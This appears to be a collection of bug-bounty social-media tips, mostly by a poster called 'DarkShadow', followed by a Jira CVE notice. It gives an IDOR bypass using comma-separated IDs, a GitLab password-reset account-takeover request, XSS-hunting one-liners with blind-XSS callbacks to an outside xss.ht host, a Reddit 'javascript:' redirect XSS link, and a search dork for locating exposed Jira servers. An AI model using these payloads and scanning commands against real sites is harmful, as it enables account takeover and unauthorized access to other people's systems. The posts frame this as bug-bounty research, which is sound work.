💡 IDOR Bypass Bug Bounty Tip

Sometimes APIs behave unexpectedly when multiple IDs are passed together.

🔍 Scenario
• Victim’s ID: 5200
• Attacker’s ID: 5233

🚫 GET /api/users/5200/info → Access Denied
✅ GET /api/users/5200,5233/info → Bypass Successful

📌 Always test for comma-separated, array-style, or batch ID parameters when hunting for IDOR!

#bugbountytips #bugbounty #infosec #cybersecurity #api #IDOR #pentesting #bugbountyTips

Hey Hunters,
DarkShadow is back again with another POC that earned $35,000 🙌🏼

💥 GitLab Password Reset via Account Takeover Vulnerability 😬

This vulnerability was recently patched. It exploited the password reset functionality by abusing the JSON request sent from the client side. The request allowed multiple email addresses to be specified without properly verifying them, resulting in the password reset link being sent to both the victim's email and the attacker's email 🤯

✅ POC Request:

"user": {
    "email": [
        "[email protected]",
        "[email protected]"
    ]
}

I was shared this same method a long time ago 😁
Don't forget to follow me 👉🏼 DarkShadow

Hey Hunter's,
DarkShadow here back again, dropping some one-liner killer XSS commands😉

Cleaned XSS Payload Hunting Commands:


1. Wayback + httpx + GF + Dalfox

cat domains.txt | httpx -silent -ports 80,443,8080,8443,3000,8000 | waybackurls | grep "=" | uro | gf xss | qsreplace '"><script>alert(1)</script>' | while read url; do curl -s "$url" | grep -q "<script>alert(1)</script>" && echo "[XSS] $url"; done

2. Gospider + Dalfox

gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -oP "https?://[^ ]+" | grep "=" | qsreplace -a | dalfox pipe

3. Wayback + GF + Blind XSS via Dalfox

waybackurls target.com | gf xss | sed 's/=.*/=/' | sort -u | dalfox -b yoursubdomain.xss.ht pipe

4. Gospider + Dalfox (Deep Crawl)

gospider -S targets.txt -c 20 -d 3 --js --sitemap --robots | grep -oP "https?://[^\s']+" | grep "=" | uro | dalfox pipe -o gospider_xss.txt

5. Dalfox Direct with Blind XSS

cat urls.txt | dalfox pipe -b yourdomain.xss

Required tools are:

httpx, waybackurls, uro, gf, qsreplace, curl, gospider, dalfox

If you find this helpful and want more cutting-edge tips and tricks, don’t forget to follow me 👉🏼 DarkShadow

#bugbountytips #xss

Good morning hacker's,
Let's start morning to hack Reddit account 😉

Hey Hunters,
DarkShadow here, back again dropping an old-school Reddit XSS PoC for you to check out!

Let’s break it down and understand the logic behind the vulnerability.


Vulnerable Parameter: ?dest=

What does the dest parameter do?

The dest parameter is commonly used in login flows to redirect users after successful authentication. For example:

A user tries to access a protected page.

Reddit redirects them to:
/login/?dest=/protected/resource

After login, the site redirects them to the original dest URL.

Sounds fine, right? But here’s the twist...

✅ PoC Steps (Super Simple):

https://www.reddit.com/login/?dest=javascript:alert(document.domain)

Boom💥. That’s it.
Just throw that URL and watch the magic happen. No need for complex encoding or obfuscation — just a mindset shift.

keep your payloads sharp and your eyes sharper.
Don’t forget to react, share, and follow me in X
👉🏼 DarkShadow

#bugbountytips #xss

CVE-2025-22157: Improper Access Control in Atlassian Jira, 7.2 rating❗️

The vulnerability allows an authenticated attackers to escalate their privileges to administrator level or gain access to restricted workflows in Jira.

Search at Netlas.io:
👉 Link: https://nt.ls/lVuft
👉 Dork: http.meta:"content=\"JIRA\""

Vendor's advisory: https://confluence.atlassian.com/security/security-bulletin-may-20-2025-1561365992.html